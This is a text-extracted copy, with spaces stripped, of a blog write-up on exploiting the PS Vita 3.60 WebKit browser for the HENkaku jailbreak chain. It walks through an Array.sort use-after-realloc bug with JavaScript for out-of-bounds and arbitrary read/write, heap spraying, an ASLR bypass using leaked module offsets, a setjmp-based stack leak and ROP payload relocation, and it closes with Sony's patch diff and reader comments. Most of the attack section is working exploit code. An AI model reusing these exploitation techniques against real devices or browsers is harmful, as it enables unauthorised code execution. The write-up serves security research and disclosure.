Beruflich Dokumente
Kultur Dokumente
ExploitingWebKitonVita3.60
goback
ExploitingWebKitonVita3.60
Aug18,2016
Intro
ThisstartstheseriesofwriteupsforHENkakuexploitchain.IlltrynottospoiltheKOTH
challengetoomuchandonlywriteupthepartsthatarealreadyreverseengineered,clarifying
thedetailsthatotherpeoplemissed.However,inthecasethechallengebecomesstaleandno
progressismade,Illprobablypublishthewriteupanyway,sinceIalreadyhaveitwrittenand
itdbeawastetoletitrotinmyrepo.
ThePoC
OurtargetofchoiceforusermodecodeexecutionisWebKit.WebKithasaJavaScriptengine
whichhelpsalotwhenweneedtobypassASLR.WebbrowseronPSVitaalsodoesnot
requirePSNlogin,doesnotautoupdate,allowstoimplementaverysimpleexploitchain(visit
thissiteandpressthatbutton).Itsperfect.
Unlikeon3DS,whichhasnoASLRwhatsoever,VitaWebKithasanacceptableASLRwith
entropyof9bits,whichmakesbruteforceattacksextremelypainful(512reloadsonaverageto
triggertheexploit,thehorror!).Assuch,weneededabettervulnerabilitythanagenericuse
afterfree+vptroverwrite.
Thankstosomepeople,ImanagedtoobtainanicePoCscriptcrashingVitasbrowseronlatest
firmware.NotpresentanywhereonWebKitbugzilla/repo(maybeintherestrictedsection).
SowhatIstartedwithwasthisscript:
varalmost_oversize=0x3000;
varfoo=Array.prototype.constructor.apply(null,newArray(almost_oversize));
varo={};
o.toString=function(){foo.push(12345);return"";}
foo[0]=1;
foo[1]=0;
foo[2]=o;
foo.sort();
IfyourunitonaLinuxhostusingSonysWebKit,youwillseeasegmentationfault.Letslookat
itinadebugger:
https://blog.xyz.is/2016/webkit360.html
1/16
8/20/2016
ExploitingWebKitonVita3.60
Thread1"GtkLauncher"receivedsignalSIGSEGV,Segmentationfault.
0x00007ffff30bec35inJSC::WriteBarrierBase<JSC::Unknown>::set(this=0x7fff98ef8048,own
152
m_value=JSValue::encode(value);
(gdb)bt
#00x00007ffff30bec35inJSC::WriteBarrierBase<JSC::Unknown>::set(this=0x7fff98ef8048,
#10x00007ffff32cb9bfinJSC::ContiguousTypeAccessor<(unsignedchar)27>::setWithValue(
#20x00007ffff32c8809inJSC::JSArray::sortCompactedVector<(unsignedchar)27,JSC::Writ
at../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#30x00007ffff32c4933inJSC::JSArray::sort(this=0x7fff9911ff60,exec=0x7fff9d6e8078)
#40x00007ffff329c844inJSC::attemptFastSort(exec=0x7fff9d6e8078,thisObj=0x7fff9911f
at../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#50x00007ffff329db4cinJSC::arrayProtoFuncSort(exec=0x7fff9d6e8078)at../../Source/
<therestdoesnotmatter>
Turnsout,ithitsunmappedmemorywhileexecutingJavaScriptArray.sortfunction.Butwhats
goingonhere?
Thebug
Letstakealookatthe JSArray::sort method
( Source/JavaScriptCore/runtime/JSArray.cpp ).Sinceourarrayisoftype
ArrayWithContiguous duetohowitwascreated:
Array.prototype.constructor.apply(null,newArray(almost_oversize)); ,wegetinto
template<IndexingTypeindexingType,typenameStorageType>
voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>
{
if(!relevantLength)
return;
VM&vm=exec>vm();
//ConvertingJavaScriptvaluestostringscanbeexpensive,sowedoitonceup
//Thisisaconsiderableimprovementoverdoingittwicepercomparison,though
//buffer.Besides,thisprotectsusfromcrashingifsomeobjectshavecustomt
//randomorotherwisechangingresults,effectivelymakingcomparefunctioninc
Vector<ValueStringPair,0,UnsafeVectorOverflow>values(relevantLength);
if(!values.begin()){
throwOutOfMemoryError(exec);
return;
}
Heap::heap(this)>pushTempSortVector(&values);
https://blog.xyz.is/2016/webkit360.html
2/16
8/20/2016
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
ExploitingWebKitonVita3.60
boolisSortingPrimitiveValues=true;
for(size_ti=0;i<relevantLength;i++){
JSValuevalue=ContiguousTypeAccessor<indexingType>::getAsValue(data,
ASSERT(indexingType!=ArrayWithInt32||value.isInt32());
ASSERT(!value.isUndefined());
values[i].first=value;
if(indexingType!=ArrayWithDouble&&indexingType!=ArrayWithInt32)
isSortingPrimitiveValues=isSortingPrimitiveValues&&value.isPrimitive
}
//FIXME:ThefollowingloopcontinuestocalltoStringonsubsequentvalueseve
//atoStringcallraisesanexception.
for(size_ti=0;i<relevantLength;i++)
values[i].second=values[i].first.toWTFStringInline(exec);
if(exec>hadException()){
Heap::heap(this)>popTempSortVector(&values);
return;
}
//FIXME:Sincewesortbystringvalue,afastalgorithmmightbetousearadi
//thanO(NlogN).
#ifHAVE(MERGESORT)
if(isSortingPrimitiveValues)
qsort(values.begin(),values.size(),sizeof(ValueStringPair),compareByStrin
else
mergesort(values.begin(),values.size(),sizeof(ValueStringPair),compareByS
#else
//FIXME:Theqsortlibraryfunctionislikelytonotbeastablesort.
//ECMAScript262doesnotspecifyastablesort,butinpractice,browsersperf
qsort(values.begin(),values.size(),sizeof(ValueStringPair),compareByStringPai
#endif
//IfthetoStringfunctionchangedthelengthofthearrayorvectorstorage,
//increasethelengthtohandletheorignalnumberofactualvalues.
switch(indexingType){
caseArrayWithInt32:
caseArrayWithDouble:
caseArrayWithContiguous:
ensureLength(vm,relevantLength);
break;
caseArrayWithArrayStorage:
https://blog.xyz.is/2016/webkit360.html
3/16
8/20/2016
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
ExploitingWebKitonVita3.60
if(arrayStorage()>vectorLength()<relevantLength){
increaseVectorLength(exec>vm(),relevantLength);
ContiguousTypeAccessor<indexingType>::replaceDataReference(&data,
}
if(arrayStorage()>length()<relevantLength)
arrayStorage()>setLength(relevantLength);
break;
default:
CRASH();
}
for(size_ti=0;i<relevantLength;i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,
Heap::heap(this)>popTempSortVector(&values);
}
ThisfunctiontakesthevaluesfromtheJSarray,putsthemintoatemporaryvector,sortsthe
vector,andthenputsthevaluesbackintotheJSarray.
Online37ina for loop,foreveryelementits toString methodiscalled.Whenitscalled
forourobject o ,whathappensnextis:
function(){
foo.push(12345);
return"";
}
Anintegerispushedintothearraythatisbeingsorted.Thiscausesthearrayelementstoget
reallocated.Online81,thesortedelementsarewrittenbackintothearray,however,the data
pointerisneverupdatedwiththenewreallocatedvalue.
metadata
Toillustrateit:
metadata
foo
foo+12345
data
Greyareahereisfree/unallocatedmemory.OnLinuxitactuallyisunmappedafterreallocis
called.Meanwhile,the data stillpointstotheoldmemorylocation.Asaresult,theweb
browsergetsasegmentationfaulttryingtowritetounmappedmemory.
https://blog.xyz.is/2016/webkit360.html
4/16
8/20/2016
ExploitingWebKitonVita3.60
OutofboundsRW
Dependingonthecontents, JSArray objectsmightbestoreddifferentlyinmemory.However,
onesweareoperatingon,arestoredcontinuouslyasmetadataheader(inyellow)plusarray
contents(ingreen).
Thecontentsarejustavectorof JSValue structures.
unionEncodedValueDescriptor{
int64_tasInt64;
doubleasDouble;
struct{
int32_tpayload;
int32_ttag;
}asBits;
};
Themetadataheaderstorestwointerestingfields:
uint32_tm_publicLength;//Themeaningofthisfielddependsonthearraytype,butfor
uint32_tm_vectorLength;//Thelengthoftheindexedpropertystorage.Theactualsize
Ourgoalnowistooverwritebothofthemandextendthearraybeyondofwhatisactually
allocated.
Toachievethat,letsmodifythe o.toString method:
varnormal_length=0x800;
varfu=newArray(normal_length);
vararrays=newArray(0x100);
o.toString=function(){
foo.push(12345);
for(vari=0;i<arrays.length;++i){
varbar=Array.prototype.constructor.apply(null,fu);
bar[0]=0;
bar[1]=1;
bar[2]=2;
arrays[i]=bar;
return"";
}
Ifwegetlucky,hereswhathappens:
https://blog.xyz.is/2016/webkit360.html
5/16
ExploitingWebKitonVita3.60
bar
bar
metadata
bar
metadata
foo
metadata
metadata
metadata
8/20/2016
foo+12345
data
Inthisexample(thatdoesntreflectactuallarraysize),whenthesortedvaluesarewrittenback
usingthe data pointer,metadataheadersofbothsecondandthird bar getoverwritten.
Whatdoweoverwritethemwith?Remember,thatthegreenareaisthevectorof JSValue
objects.Every JSValue objectis8bytes.Butifwefill foo with,forexample, 0x80000000 ,
weonlycontrol4bytes,andtherestisusedupforthe tag .Whatsa tag ?
enum{Int32Tag=0xffffffff};
enum{BooleanTag=0xfffffffe};
enum{NullTag=0xfffffffd};
enum{UndefinedTag=0xfffffffc};
enum{CellTag=0xfffffffb};
enum{EmptyValueTag=0xfffffffa};
enum{DeletedValueTag=0xfffffff9};
enum{LowestTag=DeletedValueTag};
foo[i]=len;
foo.sort();
u2d / d2u aresmallhelperstoconvertbetweenapairof int anda double :
https://blog.xyz.is/2016/webkit360.html
6/16
8/20/2016
ExploitingWebKitonVita3.60
var_dview=null;
//u2d/d2utakenfromPSA20130903
//wrapstwouint32sintodoubleprecision
functionu2d(low,hi)
{
if(!_dview)_dview=newDataView(newArrayBuffer(16));
_dview.setUint32(0,hi);
_dview.setUint32(4,low);
return_dview.getFloat64(0);
}
functiond2u(d)
{
if(!_dview)_dview=newDataView(newArrayBuffer(16));
_dview.setFloat64(0,d);
return{low:_dview.getUint32(4),
hi:_dview.getUint32(0)};
}
ArbitraryRW
Toobtainarbitraryread/write,Iusedthesametrickasusedbythe2.003.20WebKitexploit,
describedhere.
Spraybuffers:
buffers=newArray(spray_size);
buffer_len=0x1344;
for(vari=0;i<buffers.length;++i)
buffers[i]=newUint32Array(buffer_len/4);
https://blog.xyz.is/2016/webkit360.html
7/16
8/20/2016
ExploitingWebKitonVita3.60
varstart=0x200000000x11000;
for(;;start){
if(arr[start]!=0){
_dview.setFloat64(0,arr[start]);
if(_dview.getUint32(0)==buffer_len/4){//FoundUint32Array
_dview.setUint32(0,0xEFFFFFE0);
arr[start]=_dview.getFloat64(0);//changebuffersize
_dview.setFloat64(0,arr[start2]);
heap_addr=_dview.getUint32(4);//leaksomeheapaddress
_dview.setUint32(4,0)
_dview.setUint32(0,0x80000000);
arr[start2]=_dview.getFloat64(0);//changebufferoffset
break;
Findcorrupted Uint32Array :
corrupted=null;
for(vari=0;i<buffers.length;++i){
if(buffers[i].byteLength!=buffer_len){
corrupted=buffers[i];
break;
}
}
varu32=corrupted;
NowthatwehavetrulyarbitraryRW,andwehaveleakedsomeheapaddress,whatsnextis:
Codeexecution
Again,theoldtrickwith textarea objectsisusedhere(whyinventnewthings?)First,modify
theoriginal Uint32Array heapspraytointerleave textarea objects:
spray_size=0x4000;
textareas=newArray(spray_size);
buffers=newArray(spray_size);
buffer_len=0x1344;
textarea_cookie=0x66656463;
textarea_cookie2=0x55555555;
for(vari=0;i<buffers.length;++i){
buffers[i]=newUint32Array(buffer_len/4);
vare=document.createElement("textarea");
https://blog.xyz.is/2016/webkit360.html
8/16
8/20/2016
ExploitingWebKitonVita3.60
e.rows=textarea_cookie;
textareas[i]=e;
if(u32[addr]==textarea_cookie){
u32[addr]=textarea_cookie2;
textarea_addr=addr*4;
break;
}
}
/*
ChangetherowsoftheElementobjectthenscanthearrayof
sprayedobjectstofindanobjectwhoserowshavebeenchanged
*/
varfound_corrupted=false;
varcorrupted_textarea;
for(vari=0;i<textareas.length;++i){
if(textareas[i].rows==textarea_cookie2){
corrupted_textarea=textareas[i];
break;
}
}
Mitigation1:ASLR
RememberthatVitahasASLR,whichiswhywehadtocomplicatetheexploitsomuch.But
witharbitraryRWwecanjustleak textarea vptranddefeatASLRcompletely:
functionread_mov_r12(addr){
first=u32[addr/4];
second=u32[addr/4+1];
return((((first&0xFFF)|((first&0xF0000)>>4))&0xFFFF)|((((second
}
varvtidx=textarea_addr0x70;
vartextareavptr=u32[vtidx/4];
https://blog.xyz.is/2016/webkit360.html
9/16
8/20/2016
ExploitingWebKitonVita3.60
SceWebKit_base=textareavptr0xabb65c;
SceLibc_base=read_mov_r12(SceWebKit_base+0x85F504)0xfa49;
SceLibKernel_base=read_mov_r12(SceWebKit_base+0x85F464)0x9031;
ScePsp2Compat_base=read_mov_r12(SceWebKit_base+0x85D2E4)0x22d65;
SceWebFiltering_base=read_mov_r12(ScePsp2Compat_base+0x2c688c)0x9e5;
SceLibHttp_base=read_mov_r12(SceWebFiltering_base+0x3bc4)0xdc2d;
SceNet_base=read_mov_r12(SceWebKit_base+0x85F414)0x23ED;
SceNetCtl_base=read_mov_r12(SceLibHttp_base+0x18BF4)0xD59;
SceAppMgr_base=read_mov_r12(SceNetCtl_base+0x9AB8)0x49CD;
Letstalkabitaboutcodeexecution.OnVitatheresnoJITanditsimpossibletoallocateRWX
memory(OnlyallowedfromthePlayStationMobileapp).Sowehavetowritethewholepayload
inROP.
Theoldexploitsusedsomethingcalled JSoS whichisdescribedhere.However,herethe
browserbecomesreallyunstableaftercorruptingthe JSArray object,sowewanttorunas
littleJavaScriptaspossible.
Asaresult,anewversionofroptoolwaswrittenbyDaveewhichsupportedASLR.Thebasic
ideahereisthatsomewords(awordis4bytes)inroptooloutputnowhaverelocation
informationassignedtothem.Afterrelocatingthepayload,whichisjustaddingdifferentbases
( SceWebKit_base / SceLibc_base /etc)tothesewords,wecanlaunchtheresultingROPchain
normally.
Mitigation2:Stackpivotprotection
Sinceunknownfirmwareversion,thereisnowanadditionalmitigationimplemented:sometimes
thekernelwillcheckthatyourthreadstackpointerisinfactinsideitsstack.Ifthisisnotthe
case,thewholeapplicationgetskilled.
Tobypassthis,weneedtoplantourROPchainintothethreadstack.Andtodothat,weneed
toknowthreadstackvirtualaddress.AndwedontknowitbecauseASLR.
However,wehavearbitraryRW.Theresatonofwaystoleakthestackpointer.Iusedthe
setjmp function.
Hereshowwecallit:
//copyvtable
for(vari=0;i<0x40;i++)
u32[some_space/4+i]=u32[textareavptr/4+i];
u32[vtidx/4]=some_space;
//backupourobj
for(vari=0;i<0x30;++i)
backup[i]=u32[vtidx/4+i];
https://blog.xyz.is/2016/webkit360.html
10/16
8/20/2016
ExploitingWebKitonVita3.60
//callsetjmpandleakstackbase
u32[some_space/4+0x4e]=SceLibc_base+0x14070|1;//setjmp
corrupted_textarea.scrollLeft=0;//callsetjmp
u32[vtidx/4+i]=backup[i];
ROM:81114070setjmp
ROM:81114070PUSH{R0,LR}
ROM:81114072BLsub_81103DF2//Returnshighqualityrandom
ROM:81114076POP{R1,R2}
ROM:81114078MOVLR,R2
ROM:8111407AMOVR3,SP
ROM:8111407CSTMIA.WR1!,{R4R11}
ROM:81114080EORSR2,R0//LRisXOR'edwithacookie
ROM:81114082EORSR0,R3//SPisXOR'edwiththesamecookie
ROM:81114084STMIAR1!,{R0,R2}
ROM:81114086VSTMIAR1!,{D8D15}
ROM:8111408AVMRSR2,FPSCR
ROM:8111408ESTMIAR1!,{R2}
ROM:81114090MOV.WR0,#0
ROM:81114094BXLR
Sobasically:
stored_LR=LR^cookie
stored_SP=SP^cookie
Or,inJavaScript:
https://blog.xyz.is/2016/webkit360.html
11/16
8/20/2016
ExploitingWebKitonVita3.60
sp=(u32[vtidx/4+8]^((u32[vtidx/4+9]^(SceWebKit_base+0x317929))>>>0))
sp=0xef818;//adjusttogetSPbase
NowwecanwriteourROPpayloadintothethreadstackandpivottoitwithouttheapplication
beingkilled!
Finally,CodeExecution
First,werelocatetheROPpayload.Remember,howwehavethepayloadandrelocs.Ifyou
lookatpayload.js,thisiswhatyouwillsee:
payload=[2119192402,65537,0,0,1912//anditgoeson...
relocs=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,//...
addr=sp/4;
//Sincerelocsareappliedtothewholeropbinary,notjustcode/datasections,werep
//thisbehaviorhere.However,wesplititintodatasection(placedatthetopofthe
//andcodesection(placedatstack+somebigoffset)
for(vari=0;i<payload.length;++i,++addr){
if(i==rop_header_and_data_size)
addr=rop_code_base/4;
switch(relocs[i]){
case0:
u32[addr]=payload[i];
break
case1:
u32[addr]=payload[i]+rop_data_base;
break;
/*
skippedmostrelocs
*/
default:
https://blog.xyz.is/2016/webkit360.html
12/16
8/20/2016
ExploitingWebKitonVita3.60
alert("wtf?");
alert(i+""+relocs[i]);
Inthisloop,wesplitthepayloadintotwoparts:codeanddatasections.Wedontwantcodeto
touchdatabecauseiftheyareclose,andcodeisafterdata(whichisthecaseforroptool
generatedROPchains),whenafunctioniscalled,itmightdamageapartofthedatasection
(rememberwhichdirectionthestackgrowsin,andwhichdirectiontheROPchaingoes).
Sooncewearedonerelocatingthedatasection: if(i==rop_header_and_data_size) ,we
switchtorelocatingthecodesection: addr=rop_code_base/4 .
header
header
data
data
code
code
https://blog.xyz.is/2016/webkit360.html
13/16
8/20/2016
ExploitingWebKitonVita3.60
//Youwon'tseethisalert()unlesssomethingwentterriblywrong
alert("that'sit");
Bonus:HowSonypatchedit
SonyregularlyuploadsnewsourcecodeoftheirWebKit,asrequestedbyLGPL,tothispage.
(Unlesstheydonot,inwhichcasetheymightrequireafriendlypokeoveremail).
Diffingthesourcecodebetween3.60and3.61revealsthefollowing(Uselessstuffomitted):
diffr360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp361/webkit_537_73/So
1087,1096c1087,1123
}
};
template<IndexingTypeindexingType,typenameStorageType>
voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>data,u
{
if(!relevantLength)
return;
+}
+};
+
+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithInt32,WriteBarrier<Unknown>>()
+{
+returnm_butterfly>contiguousInt32();
+}
+
+template<>
+ContiguousDoublesJSArray::storage<ArrayWithDouble,double>()
+{
+returnm_butterfly>contiguousDouble();
+}
+
+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithContiguous,WriteBarrier<Unknown>>()
+{
+returnm_butterfly>contiguous();
+}
+
https://blog.xyz.is/2016/webkit360.html
14/16
8/20/2016
ExploitingWebKitonVita3.60
+template<>
+ContiguousJSValuesJSArray::storage<ArrayWithArrayStorage,WriteBarrier<Unknown>>()
+{
+ArrayStorage*storage=m_butterfly>arrayStorage();
+ASSERT(!storage>m_sparseMap);
+returnstorage>vector();
+}
+
+template<IndexingTypeindexingType,typenameStorageType>
+voidJSArray::sortCompactedVector(ExecState*exec,ContiguousData<StorageType>data,u
+{
+data=storage<indexingType,StorageType>();
+
+if(!relevantLength)
+return;
+
1167,1172c1194,1200
CRASH();
}
for(size_ti=0;i<relevantLength;i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,values[i
+CRASH();
+}
+
+data=storage<indexingType,StorageType>();
+for(size_ti=0;i<relevantLength;i++)
+ContiguousTypeAccessor<indexingType>::setWithValue(vm,this,data,i,values[i
+
Conclusion
Thatsitfortoday!IhopeyouenjoyedthiswriteupasmuchasIhatedwritingtheexploit.Later,
inafewmonths/years/centuries,Illbringyousomemorenicewriteups,solookforwardtoit.
SinceIwrotemostoftheHENkakuexploitchain,ImbannedfromparticipatingintheKOTH
challenge:(,butatleastyougettoenjoythewriteups:).
6Comments
https://blog.xyz.is/2016/webkit360.html
15/16
8/20/2016
ExploitingWebKitonVita3.60
TypeCommentHere(atleast3chars)
Name(optional)
Email(optional)
Website(optional)
Submit
Anonymous 15hoursago
ThiswriteupisfantasticandIfeellikeI'velearnedalotinreadingit.Thanksfortaking
thetimetodothis.
2
Reply
Ayu 13hoursago
Dittohere.Itsinterestingtoseehowthesekindofthingshappen.
2
Reply
m6mb3rtx 10hoursago
Greatarticle!
LookingforwardtoreadthenextpartoftheHENkakuseries(nicenameXD),doesitendwhen
yougetr00taccess?
"Goodjob,Sony."LOL
|
Reply
Wololo 5hoursago
Thanksforthewriteup,superappreciated
|
Reply
Casavult 4hoursago
Amazingread.Thanksforthiswriteup!
|
Reply
MilegGai 3hoursago
IlikedreadingthiseventhoughIhavenoideawhat'sgoingon.
|
Reply
SubscribeviaRSS|GitHub
https://blog.xyz.is/2016/webkit360.html
16/16